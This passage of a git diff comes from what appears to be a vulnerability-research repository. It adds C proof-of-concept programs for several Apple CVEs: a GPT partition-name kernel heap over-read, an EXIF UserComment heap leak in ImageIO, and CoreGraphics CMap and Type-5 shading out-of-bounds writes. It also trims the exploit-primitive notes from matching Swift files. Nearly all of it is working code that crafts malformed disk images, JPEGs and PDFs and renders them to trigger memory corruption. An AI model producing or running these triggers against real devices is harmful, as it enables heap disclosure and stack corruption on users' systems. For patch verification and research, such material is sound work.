512, "EFI PART", 8) != 0) { printf("no GPT signature\n"); return; } + + // attacker-controlled header fields, clamped to the image we already hold + uint64_t entry_lba = 0, u; + for (int k = 0; k < 8; k++) { u = d[512 + 72 + k]; entry_lba |= u << (8 * k); } + uint32_t entry_count = d[512 + 80] | (d[512 + 81] << 8) | (d[512 + 82] << 16) | ((uint32_t)d[512 + 83] << 24); + uint32_t entry_size = d[512 + 84] | (d[512 + 85] << 8) | (d[512 + 86] << 16) | ((uint32_t)d[512 + 87] << 24); + + uint64_t safe_lba = entry_lba > 0 && entry_lba < (uint64_t)(image->n / 512) ? entry_lba : 0; + uint32_t safe_count = entry_count < 4096 ? entry_count : 4096; + uint32_t safe_size = entry_size > 0 && entry_size <= 512 ? entry_size : 128; + + printf("GPT header: entry LBA %llu · %u entries · %u B each\n", + (unsigned long long)entry_lba, entry_count, entry_size); + + size_t base = (size_t)safe_lba * 512; + for (uint32_t i = 0; i < safe_count; i++) { + size_t off = base + (size_t)i * safe_size; + if (off + 128 > image->n) break; + // name field at +56, 36 UTF-16 code units; 27.0 scans 0x48 B, 27.2 stops at 0x24 B + char name[37] = {0}; + for (int k = 0; k < 36; k++) { + uint16_t unit = (uint16_t)(d[off + 56 + k * 2] | (d[off + 56 + k * 2 + 1] << 8)); + if (unit == 0) break; + name[k] = (char)(unit < 0x80 ? unit : '?'); + } + if (name[0]) printf(" partition %u: %s\n", i, name); + } +} + +int main(int argc, char **argv) { + int entry_count = argc > 1 ? atoi(argv[1]) : 4; + + buf image = gpt_oversized_name(entry_count); + FILE *f = fopen("gpt_overlong_name.img", "wb"); + if (f) { fwrite(image.d, 1, image.n, f); fclose(f); } + + printf("CVE-2026-112554 · %zu B · %d entries · name field 36 units / 72 B\n", + image.n, entry_count); + describe(&image); + printf("27.0 scans the name run to 0x48 = 72 B; 27.2 tightens to 0x24 = 36 B\n"); + printf("seed: gpt_overlong_name.img\n"); + bfree(&image); + return 0; +} diff --git a/CVE-2026-112554/CVE-2026-112554.swift b/CVE-2026-112554/CVE-2026-112554.swift index 0319f43..b78073e 100644 --- a/CVE-2026-112554/CVE-2026-112554.swift +++ b/CVE-2026-112554/CVE-2026-112554.swift @@ -1,24 +1,11 @@ // kext.gpt · IOStorageFamily · CVE-2026-112554 -// 原语: OOB 读 · 内核 · tier 2 -// Primitive: OOB read · kernel · tier 2 -// -// [zh] GPT 分区名扫描 72 字节内核堆越界读 -// 分区名扫描的边界常量由 0x48 收紧至 0x24。0x48 即 72 字节,而 GPT 条目内的名字域仅 36 个 UTF-16 单元;27.0 的扫描因此越过条目尾,读入相邻内核堆。 -// -// [en] GPT partition name scan 72-byte kernel heap out-of-bounds read -// The partition name scan's bound constant tightens from 0x48 to 0x24. 0x48 is 72 bytes, while the -// name field inside a GPT entry is only 36 UTF-16 units, so the 27.0 scan runs past the entry tail -// and into adjacent kernel heap. -// ── 判别 / oracle ── -// 应用侧无法 attach 磁盘镜像,故本模块做两件事:构造会使 27.0 越界的镜像,并在用户态解析一遍以证明名字域确实在条目内被截断 —— 越界读发生在内核侧,不在用户态。 - +// GPT partition name scan 72-byte kernel heap out-of-bounds read import Foundation -// 本地化直通 shim — app 内该函数经 RuntimeText 映射输出双语。 -// identity localization shim — the app routes this through RuntimeText. +// identity localization shim — passes the string through unchanged. func tl(_ s: String) -> String { s } -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -39,19 +26,19 @@ enum B { static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } } -// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (GPTPayload) ── +// ── seed construction (from Cinder27 Sources: GPTPayload) ── enum GPTPayload { static func describe(_ image: Data) -> [String] { var lines: [String] = [] - guard image.count >= 1024 else { return [tl("镜像过短")] } + guard image.count >= 1024 else { return [tl("image too short")] } let sig = [UInt8](image[512..<520]) guard sig.starts(with: [0x45, 0x46, 0x49, 0x20, 0x50, 0x41, 0x52, 0x54]) else { - return [tl("无 GPT 签名")] + return [tl("no GPT signature")] } let entryLBA = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 72, as: UInt64.self) } let entryCount = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 80, as: UInt32.self) } let entrySize = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 84, as: UInt32.self) } - lines.append(tl("GPT 头: 条目表 LBA ") + "\(entryLBA)" + tl(" · ") + "\(entryCount)" + tl(" 项 · 每项 ") + "\(entrySize)" + tl(" B")) + lines.append(tl("GPT header: entry LBA ") + "\(entryLBA)" + tl(" · ") + "\(entryCount)" + tl(" entries · ") + "\(entrySize)" + tl(" B")) let base = Int(entryLBA) * 512 for i in 0.. [String] { units.append(unit) } let name = String(decoding: units, as: UTF16.self) - if !name.isEmpty { lines.append(tl(" 分区 ") + "\(i)" + tl(": ") + "\(name)") } + if !name.isEmpty { lines.append(tl(" partition ") + "\(i)" + tl(": ") + "\(name)") } } return lines } diff --git a/CVE-2026-112571/CVE-2026-112571.c b/CVE-2026-112571/CVE-2026-112571.c new file mode 100644 index 0000000..f7b2204 --- /dev/null +++ b/CVE-2026-112571/CVE-2026-112571.c @@ -0,0 +1,93 @@ +// iio.jpeg.comment · ImageIO · ReadUserComment · CVE-2026-112571 +// EXIF UserComment short read leaves stale heap bytes +// C twin of the Swift POC: builds the oob-offset UserComment JPEG and decodes it through ImageIO. +// Build: clang -O2 -o cve-2026-112571 CVE-2026-112571.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation +// Run: ./cve-2026-112571 [count] [value-offset] + +#include +#include +#include + +// ── byte buffer ── +typedef struct { uint8_t *d; size_t n, cap; } buf; +static void bneed(buf *b, size_t extra) { + if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } +} +static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } +static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } +static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } + +static void be16(buf *b, uint16_t v) { bput(b, v >> 8); bput(b, v & 0xff); } +static void be32(buf *b, uint32_t v) { + bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff); +} + +// ── seed construction (from Cinder27 Sources: JPEGPayload.exifUserComment) ── +static buf jpeg_user_comment(uint32_t count, uint32_t value_offset) { + buf tiff = {0}; + bcat(&tiff, "MM\x00\x2a", 4); + be32(&tiff, 8); // IFD0 at 8 + be16(&tiff, 1); // 1 entry + be16(&tiff, 0x9286); // UserComment + be16(&tiff, 7); // UNDEFINED + be32(&tiff, count); // declared byte count + be32(&tiff, value_offset); // value offset far past the block + be32(&tiff, 0); // next IFD + + buf out = {0}; + bcat(&out, "\xff\xd8", 2); // SOI + uint32_t app1_len = 6 + (uint32_t)tiff.n + 2; + bcat(&out, "\xff\xe1", 2); + bput(&out, app1_len >> 8); bput(&out, app1_len & 0xff); + bcat(&out, "Exif\x00\x00", 6); + bcat(&out, tiff.d, tiff.n); + bcat(&out, "\xff\xd9", 2); // EOI + bfree(&tiff); + return out; +} + +// ── trigger: decode through ImageIO ── +#include +#include +#include + +static int decode_image(const buf *img, const char **detail) { + CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n); + if (!cf) { *detail = "CFDataCreate failed"; return -1; } + CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL); + CFRelease(cf); + if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; } + size_t frames = CGImageSourceGetCount(src); + // the metadata walk is where ReadUserComment reads count bytes at the oob offset + CFDictionaryRef props = CGImageSourceCopyPropertiesAtIndex(src, 0, NULL); + CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL); + static char r[256]; + if (cg) { + snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s), properties %s", + (size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames, + props ? "present" : "absent"); + CGImageRelease(cg); + } else { + snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames); + } + if (props) CFRelease(props); + CFRelease(src); + *detail = r; + return cg ? 0 : -1; +} + +int main(int argc, char **argv) { + uint32_t count = argc > 1 ? (uint32_t)strtoul(argv[1], NULL, 0) : 0x400; + uint32_t value_offset = argc > 2 ? (uint32_t)strtoul(argv[2], NULL, 0) : 0x4000; + + buf jpeg = jpeg_user_comment(count, value_offset); + FILE *f = fopen("usercomment_oob.jpg", "wb"); + if (f) { fwrite(jpeg.d, 1, jpeg.n, f); fclose(f); } + + const char *detail = NULL; + int rc = decode_image(&jpeg, &detail); + printf("CVE-2026-112571 · UserComment count=0x%x offset=0x%x · %s\n", count, value_offset, detail ? detail : "?"); + printf("seed: usercomment_oob.jpg (%zu B) · exit code %d\n", jpeg.n, rc); + bfree(&jpeg); + return rc == 0 ? 0 : 1; +} diff --git a/CVE-2026-112571/CVE-2026-112571.swift b/CVE-2026-112571/CVE-2026-112571.swift index eb44a66..514757c 100644 --- a/CVE-2026-112571/CVE-2026-112571.swift +++ b/CVE-2026-112571/CVE-2026-112571.swift @@ -1,22 +1,8 @@ // iio.jpeg.comment · ImageIO · ReadUserComment · CVE-2026-112571 -// 原语: 信息泄露 · 进程内 · tier 2 -// Primitive: info leak · in-process · tier 2 -// -// [zh] EXIF UserComment 短读 → 元数据泄露 -// getBytesAtOffset 的返回值未被检查。当条目值偏移落在标记之外时发生短读,malloc 缓冲尾部保持未初始化,随后该缓冲作为 UserComment 元数据返回给调用方 —— -// 构成对进程堆的直接读取。 -// -// [en] EXIF UserComment short read → metadata disclosure -// The return value of getBytesAtOffset is never checked. When an entry's value offset falls outside -// the marker the read comes up short, the tail of the malloc'd buffer stays uninitialised, and that -// buffer is then handed back to the caller as the UserComment metadata value — a direct read of the -// process heap. -// ── 判别 / oracle ── -// count 声明 0x400,值偏移 +0x4000。返回值里会打印实际拿到的字节数与前 24 字节。 - +// EXIF UserComment short read → metadata disclosure import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -37,7 +23,7 @@ enum B { static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } } -// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (JPEGPayload) ── +// ── seed construction (from Cinder27 Sources: JPEGPayload) ── enum JPEGPayload { static func exifUserComment(count: Int = 0x400, valueOffset: Int = 0x4000) -> Data { var tiff = Data() diff --git a/CVE-2026-112610/CVE-2026-112610.c b/CVE-2026-112610/CVE-2026-112610.c new file mode 100644 index 0000000..26ee30c --- /dev/null +++ b/CVE-2026-112610/CVE-2026-112610.c @@ -0,0 +1,161 @@ +// cg.cmap · CoreGraphics · _cmap_convert · CVE-2026-112610 +// CMap /UseCMap recursion out-of-bounds write (negative-result probe) +// C twin of the Swift POC: builds the embedded-CMap probe PDF and renders it. +// Build: clang -O2 -o cve-2026-112610 CVE-2026-112610.c -framework CoreGraphics -framework CoreFoundation +// Run: ./cve-2026-112610 [codespace-length] + +#include +#include +#include + +// ── byte buffer ── +typedef struct { uint8_t *d; size_t n, cap; } buf; +static void bneed(buf *b, size_t extra) { + if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } +} +static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } +static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } +static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } + +// ── PDF object builder ── +#define MAXOBJ 16 +typedef struct { + int n[MAXOBJ]; + char dict[MAXOBJ][1024]; + buf stream[MAXOBJ]; + int has_stream[MAXOBJ]; + int count; +} pdfbuilder; +static void pdf_add(pdfbuilder *p, int n, const char *dict, const char *stream) { + if (p->count >= MAXOBJ || n >= MAXOBJ) return; + p->n[p->count] = n; + snprintf(p->dict[p->count], sizeof(p->dict[p->count]), "%s", dict); + if (stream) { bcat(&p->stream[p->count], stream, strlen(stream)); p->has_stream[p->count] = 1; } + p->count++; +} +static buf pdf_data(pdfbuilder *p) { + buf out = {0}; + bcat(&out, "%PDF-1.7\n%\xe2\xe3\xcf\xd3\n", 14); + int offsets[MAXOBJ] = {0}, maxobj = 0; + for (int i = 0; i < p->count; i++) if (p->n[i] > maxobj) maxobj = p->n[i]; + for (int target = 1; target <= maxobj; target++) { + for (int i = 0; i < p->count; i++) { + if (p->n[i] != target) continue; + offsets[target] = (int)out.n; + char line[64]; + snprintf(line, sizeof(line), "%d 0 obj\n", target); + bcat(&out, line, strlen(line)); + bcat(&out, p->dict[i], strlen(p->dict[i])); + if (p->has_stream[i]) { + bcat(&out, "\nstream\n", 8); + bcat(&out, p->stream[i].d, p->stream[i].n); + bcat(&out, "\nendstream", 10); + } + bcat(&out, "\nendobj\n", 8); + } + } + size_t xrefpos = out.n; + char line[128]; + snprintf(line, sizeof(line), "xref\n0 %d\n0000000000 65535 f \n", maxobj + 1); + bcat(&out, line, strlen(line)); + for (int t = 1; t <= maxobj; t++) { + snprintf(line, sizeof(line), "%010d 00000 n \n", offsets[t]); + bcat(&out, line, strlen(line)); + } + snprintf(line, sizeof(line), "trailer\n<< /Size %d /Root 1 0 R >>\nstartxref\n%zu\n%%%%EOF\n", + maxobj + 1, xrefpos); + bcat(&out, line, strlen(line)); + return out; +} + +// ── seed construction (from Cinder27 Sources: PDFPayload.cmapProbe) ── +static buf pdf_cmap_probe(int codespace_length) { + buf cmap = {0}; + if (codespace_length < 2) codespace_length = 2; + bcat(&cmap, "%!PS-Adobe-3.0 Resource-CMap\n", 29); + bcat(&cmap, "/CIDInit /ProcSet findresource begin\n12 dict begin begincmap\n", 59); + bcat(&cmap, "/CMapName /Cinder def\n/CMapType 1 def\n/WMode 0 def\n", 51); + bcat(&cmap, "1 begincodespacerange\n", 23); + bput(&cmap, '<'); bput(&cmap, '0'); bput(&cmap, '0'); bput(&cmap, '>'); + bput(&cmap, ' '); + bput(&cmap, '<'); + for (int i = 0; i < codespace_length; i++) bput(&cmap, 'F'); + bput(&cmap, '>'); + bput(&cmap, '\n'); + bcat(&cmap, "endcodespacerange\n", 18); + bcat(&cmap, "1 begincidrange\n<00> 0\nendcidrange\n", 39); + bcat(&cmap, "endcmap CMapName currentdict /CMap defineresource pop end end\n", 61); + + char dict6[256], lenbuf[32]; + snprintf(lenbuf, sizeof(lenbuf), "%zu", cmap.n); + snprintf(dict6, sizeof(dict6), + "<< /Type /CMap /CMapName /Cinder /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> /Length %s >>", + lenbuf); + + pdfbuilder p = {0}; + pdf_add(&p, 1, "<< /Type /Catalog /Pages 2 0 R >>", NULL); + pdf_add(&p, 2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>", NULL); + pdf_add(&p, 3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << /Font << /F1 5 0 R >> >> /Contents 4 0 R >>", NULL); + pdf_add(&p, 4, "<< /Length 30 >>", "BT /F1 12 Tf 10 100 Td <0041> Tj ET"); + pdf_add(&p, 5, "<< /Type /Font /Subtype /Type0 /BaseFont /Cinder /Encoding 6 0 R /DescendantFonts [7 0 R] >>", NULL); + pdf_add(&p, 6, dict6, (const char *)cmap.d); + pdf_add(&p, 7, "<< /Type /Font /Subtype /CIDFontType2 /BaseFont /Cinder /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> /DW 500 >>", NULL); + buf out = pdf_data(&p); + bfree(&cmap); + return out; +} + +// ── trigger: render the PDF through CoreGraphics ── +#include +#include + +static int render_pdf(const buf *pdf, const char **detail) { + CFDataRef cf = CFDataCreate(NULL, pdf->d, (CFIndex)pdf->n); + if (!cf) { *detail = "CFDataCreate failed"; return -1; } + CGDataProviderRef prov = CGDataProviderCreateWithCFData(cf); + CFRelease(cf); + if (!prov) { *detail = "CGDataProviderCreateWithCFData failed"; return -1; } + CGPDFDocumentRef doc = CGPDFDocumentCreateWithProvider(prov); + CGDataProviderRelease(prov); + if (!doc) { *detail = "CGPDFDocumentCreateWithProvider failed (file refused)"; return -1; } + CGPDFPageRef page = CGPDFDocumentGetPage(doc, 1); + if (!page) { *detail = "no page 1"; CGPDFDocumentRelease(doc); return -1; } + + const int pixels = 256, bpr = pixels * 4; + uint8_t *buffer = calloc((size_t)bpr * pixels, 1); + CGContextRef ctx = CGBitmapContextCreate(buffer, pixels, pixels, 8, bpr, + CGColorSpaceCreateDeviceRGB(), + kCGImageAlphaPremultipliedLast); + if (!ctx) { free(buffer); *detail = "CGBitmapContextCreate failed"; CGPDFDocumentRelease(doc); return -1; } + CGContextSetRGBFillColor(ctx, 1, 1, 1, 1); + CGContextFillRect(ctx, CGRectMake(0, 0, pixels, pixels)); + + // === trigger === + CGContextDrawPDFPage(ctx, page); + + static char result[128]; + int mid = bpr * (pixels / 2) + (pixels / 2) * 4; + snprintf(result, sizeof(result), "render complete; centre pixel RGBA = %u,%u,%u,%u", + buffer[mid], buffer[mid + 1], buffer[mid + 2], buffer[mid + 3]); + *detail = result; + CGContextRelease(ctx); + free(buffer); + CGPDFDocumentRelease(doc); + return 0; +} + +int main(int argc, char **argv) { + int codespace_length = argc > 1 ? atoi(argv[1]) : 128; + + buf pdf = pdf_cmap_probe(codespace_length); + + FILE *f = fopen("cmap_probe.pdf", "wb"); + if (f) { fwrite(pdf.d, 1, pdf.n, f); fclose(f); } + + const char *detail = NULL; + int rc = render_pdf(&pdf, &detail); + printf("CVE-2026-112610 · codespace length %d · %s\n", codespace_length, detail ? detail : "?"); + printf("seed: cmap_probe.pdf (%zu B) · exit code %d\n", pdf.n, rc); + bfree(&pdf); + return rc == 0 ? 0 : 1; +} diff --git a/CVE-2026-112610/CVE-2026-112610.swift b/CVE-2026-112610/CVE-2026-112610.swift index dfd989a..cbd5c66 100644 --- a/CVE-2026-112610/CVE-2026-112610.swift +++ b/CVE-2026-112610/CVE-2026-112610.swift @@ -1,21 +1,8 @@ // cg.cmap · CoreGraphics · _cmap_convert · CVE-2026-112610 -// 原语: OOB 写 · 进程内 · tier 3 -// Primitive: OOB write · in-process · tier 3 -// -// [zh] CMap /UseCMap 递归越界写(负结果探针) -// _cmap_convert 在递归时把外层的 codespace 长度(最大 255)传入仅容纳单个结果的输出槽(2 字节 code / 8 字节 len)。27.2 增加 min(L,4) -// 钳制并重排输出槽布局。 -// -// [en] CMap /UseCMap recursion out-of-bounds write (negative-result probe) -// _cmap_convert passes the outer codespace length (up to 255) into an output slot sized for a single -// result (2-byte code / 8-byte len) when it recurses. iOS 27.2 adds a min(L,4) clamp and re-lays -// out the output slots. -// ── 判别 / oracle ── -// 源分析中,内嵌 CMap 这一载体被三条相互独立的可达性阻断否定。本模块的价值在于将负结果同样留档:若该构建上出现崩溃,说明载体已被重新打通,结论需随之修正。 - +// CMap /UseCMap recursion out-of-bounds write (negative-result probe) import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -36,7 +23,7 @@ enum B { static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } } -// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (PDFPayload) ── +// ── seed construction (from Cinder27 Sources: PDFPayload) ── enum PDFPayload { struct PDFBuilder { private var objects: [Int: (dict: String, stream: [UInt8]?)] = [:] diff --git a/CVE-2026-112611/CVE-2026-112611.c b/CVE-2026-112611/CVE-2026-112611.c new file mode 100644 index 0000000..7a467e2 --- /dev/null +++ b/CVE-2026-112611/CVE-2026-112611.c @@ -0,0 +1,186 @@ +// cg.shading · CoreGraphics · _cg_shading_type5_draw · CVE-2026-112611 +// Type-5 shading stack overflow (value-controlled OOB write) +// C twin of the Swift POC: builds the same seed PDF and renders it through CGPDFDocument. +// Build: clang -O2 -o cve-2026-112611 CVE-2026-112611.c -framework CoreGraphics -framework CoreFoundation +// Run: ./cve-2026-112611 [range-dim] + +#include +#include +#include + +// ── byte buffer ── +typedef struct { uint8_t *d; size_t n, cap; } buf; +static void bneed(buf *b, size_t extra) { + if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } +} +static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } +static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } +static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } + +// ── bit writer (MSB-first) ── +typedef struct { buf out; uint8_t acc; int nbits; } bitwriter; +static void bw_put(bitwriter *w, uint32_t value, int width) { + if (width <= 0) return; + for (int i = width - 1; i >= 0; i--) { + w->acc = (uint8_t)((w->acc << 1) | ((value >> i) & 1)); + if (++w->nbits == 8) { bput(&w->out, w->acc); w->acc = 0; w->nbits = 0; } + } +} +static void bw_flush(bitwriter *w) { + if (w->nbits > 0) { bput(&w->out, (uint8_t)(w->acc << (8 - w->nbits))); w->acc = 0; w->nbits = 0; } +} + +// ── PDF object builder ── +#define MAXOBJ 16 +typedef struct { + int n[MAXOBJ]; + char dict[MAXOBJ][512]; + buf stream[MAXOBJ]; + int has_stream[MAXOBJ]; + int count; +} pdfbuilder; +static void pdf_add(pdfbuilder *p, int n, const char *dict, const uint8_t *stream, size_t streamlen) { + if (p->count >= MAXOBJ || n >= MAXOBJ) return; + p->n[p->count] = n; + snprintf(p->dict[p->count], sizeof(p->dict[p->count]), "%s", dict); + if (stream) { bcat(&p->stream[p->count], stream, streamlen); p->has_stream[p->count] = 1; } + p->count++; +} +static buf pdf_data(pdfbuilder *p) { + buf out = {0}; + bcat(&out, "%PDF-1.7\n%\xe2\xe3\xcf\xd3\n", 14); + int offsets[MAXOBJ] = {0}; + int maxobj = 0; + for (int i = 0; i < p->count; i++) { + if (p->n[i] > maxobj) maxobj = p->n[i]; + } + // emit in ascending object order + for (int target = 1; target <= maxobj; target++) { + for (int i = 0; i < p->count; i++) { + if (p->n[i] != target) continue; + offsets[target] = (int)out.n; + char line[64]; + snprintf(line, sizeof(line), "%d 0 obj\n", target); + bcat(&out, line, strlen(line)); + bcat(&out, p->dict[i], strlen(p->dict[i])); + if (p->has_stream[i]) { + bcat(&out, "\nstream\n", 8); + bcat(&out, p->stream[i].d, p->stream[i].n); + bcat(&out, "\nendstream", 10); + } + bcat(&out, "\nendobj\n", 8); + } + } + size_t xrefpos = out.n; + char line[128]; + snprintf(line, sizeof(line), "xref\n0 %d\n0000000000 65535 f \n", maxobj + 1); + bcat(&out, line, strlen(line)); + for (int t = 1; t <= (maxobj > 0 ? maxobj : 1); t++) { + snprintf(line, sizeof(line), "%010d 00000 n \n", offsets[t]); + bcat(&out, line, strlen(line)); + } + snprintf(line, sizeof(line), "trailer\n<< /Size %d /Root 1 0 R >>\nstartxref\n%zu\n%%%%EOF\n", + maxobj + 1, xrefpos); + bcat(&out, line, strlen(line)); + return out; +} + +// ── seed construction (from Cinder27 Sources: PDFPayload.shading) ── +static buf pdf_shading(int rangedim, double value, int vertices_per_row, int rows) { + const int bp_coord = 32, bp_comp = 8; + bitwriter bw = {0}; + for (int r = 0; r < rows; r++) { + for (int c = 0; c < vertices_per_row; c++) { + bw_put(&bw, 0x10000000u + (uint32_t)c * 0x08000000u, bp_coord); + bw_put(&bw, 0x10000000u + (uint32_t)r * 0x08000000u, bp_coord); + bw_put(&bw, 0, bp_comp); + } + } + bw_flush(&bw); + + char cval[32]; + snprintf(cval, sizeof(cval), "%.17g", value); + char list[4096] = "", rangelist[4096] = ""; + int nd = rangedim > 0 ? rangedim : 1; + for (int i = 0; i < nd; i++) { + if (i) { strcat(list, " "); strcat(rangelist, " "); } + strcat(list, cval); + strcat(rangelist, "0 1"); + } + + char dict5[512], dict6[2048]; + snprintf(dict5, sizeof(dict5), + "<< /ShadingType 5 /ColorSpace /DeviceGray /BitsPerCoordinate %d /BitsPerComponent %d " + "/VerticesPerRow %d /Decode [0 200 0 200 0 1] /Function 6 0 R /Length %zu >>", + bp_coord, bp_comp, vertices_per_row, bw.out.n); + snprintf(dict6, sizeof(dict6), + "<< /FunctionType 2 /Domain [0 1] /N 1 /C0 [%s] /C1 [%s] /Range [%s] >>", + list, list, rangelist); + + pdfbuilder p = {0}; + pdf_add(&p, 1, "<< /Type /Catalog /Pages 2 0 R >>", NULL, 0); + pdf_add(&p, 2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>", NULL, 0); + pdf_add(&p, 3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << /Shading << /Sh1 5 0 R >> >> /Contents 4 0 R >>", NULL, 0); + pdf_add(&p, 4, "<< /Length 8 >>", (const uint8_t *)" /Sh1 sh", 8); + pdf_add(&p, 5, dict5, bw.out.d, bw.out.n); + pdf_add(&p, 6, dict6, NULL, 0); + bfree(&bw.out); + return pdf_data(&p); +} + +// ── trigger: render the PDF through CoreGraphics ── +#include +#include + +static int render_pdf(const buf *pdf, const char **detail) { + CFDataRef cf = CFDataCreate(NULL, pdf->d, (CFIndex)pdf->n); + if (!cf) { *detail = "CFDataCreate failed"; return -1; } + CGDataProviderRef prov = CGDataProviderCreateWithCFData(cf); + CFRelease(cf); + if (!prov) { *detail = "CGDataProviderCreateWithCFData failed"; return -1; } + CGPDFDocumentRef doc = CGPDFDocumentCreateWithProvider(prov); + CGDataProviderRelease(prov); + if (!doc) { *detail = "CGPDFDocumentCreateWithProvider failed (file refused)"; return -1; } + CGPDFPageRef page = CGPDFDocumentGetPage(doc, 1); + if (!page) { *detail = "no page 1"; CGPDFDocumentRelease(doc); return -1; } + + const int pixels = 256, bpr = pixels * 4; + uint8_t *buffer = calloc((size_t)bpr * pixels, 1); + CGContextRef ctx = CGBitmapContextCreate(buffer, pixels, pixels, 8, bpr, + CGColorSpaceCreateDeviceRGB(), + kCGImageAlphaPremultipliedLast); + if (!ctx) { free(buffer); *detail = "CGBitmapContextCreate failed"; CGPDFDocumentRelease(doc); return -1; } + CGContextSetRGBFillColor(ctx, 1, 1, 1, 1); + CGContextFillRect(ctx, CGRectMake(0, 0, pixels, pixels)); + + // === trigger === + CGContextDrawPDFPage(ctx, page); + + static char result[128]; + int mid = bpr * (pixels / 2) + (pixels / 2) * 4; + snprintf(result, sizeof(result), "render complete; centre pixel RGBA = %u,%u,%u,%u", + buffer[mid], buffer[mid + 1], buffer[mid + 2], buffer[mid + 3]); + *detail = result; + CGContextRelease(ctx); + free(buffer); + CGPDFDocumentRelease(doc); + return 0; +} + +int main(int argc, char **argv) { + int rangedim = argc > 1 ? atoi(argv[1]) : 136; + + buf pdf = pdf_shading(rangedim, 1.0, 2, 2); + + char name[64]; + snprintf(name, sizeof(name), "crash_shading_r%d.pdf", rangedim); + FILE *f = fopen(name, "wb"); + if (f) { fwrite(pdf.d, 1, pdf.n, f); fclose(f); } + + const char *detail = NULL; + int rc = render_pdf(&pdf, &detail); + printf("CVE-2026-112611 · R=%d vs nc=1 · %s\n", rangedim, detail ? detail : "?"); + printf("seed: %s (%zu B) · exit code %d\n", name, pdf.n, rc); + bfree(&pdf); + return rc == 0 ? 0 : 1; +} diff --git a/CVE-2026-112611/CVE-2026-112611.swift b/CVE-2026-112611/CVE-2026-112611.swift index 515402a..a892314 100644 --- a/CVE-2026-112611/CVE-2026-112611.swift +++ b/CVE-2026-112611/CVE-2026-112611.swift @@ -1,30 +1,7 @@ // cg.shading · CoreGraphics · _cg_shading_type5_draw · CVE-2026-112611 -// 原语: OOB 写 · 进程内 · tier 1 -// Primitive: OOB write · in-process · tier 1 -// -// [zh] Type-5 阴影栈溢出(值可控 OOB 写) -// /ShadingType 5 的 /Function 声明的 /Range 维度与 /ColorSpace 的分量数不一致。绘制时 _cg_shading_type5_draw 为每个三角形顶点构造一条 -// 72 字节网格记录,颜色区位于记录 +0x20、容量为 nc×8 字节,随后调用 CGFunctionEvaluate —— 该函数以其自身 [func+0x30] 字段(即 /Range -// 维度)为上界,向该颜色区写入 range 个 double。写入长度与目标容量之间没有任何比较。网格数组由 CGTriangleMeshCreate 在栈上 alloca,故最后一条记录的写会依次越过记录尾、辅助数组、行缓冲与保存寄存器。 -// -// [en] Type-5 shading stack overflow (value-controlled OOB write) -// A /ShadingType 5 dictionary whose /Function declares a /Range dimension that does not match the -// component count of its /ColorSpace. At draw time _cg_shading_type5_draw builds one 72-byte mesh -// record per triangle vertex — the colour area sits at record +0x20 with capacity nc×8 bytes — then -// calls CGFunctionEvaluate, which bounds its write by its own [func+0x30] field (the /Range dimension) -// and writes that many doubles into the colour area. No comparison exists between the write length -// and the destination capacity. The mesh array is alloca'd on the stack by CGTriangleMeshCreate, -// so the last record's write walks past the record tail, the auxiliary arrays, the row buffers and -// the saved registers in order. -// ── 判别 / oracle ── -// 取 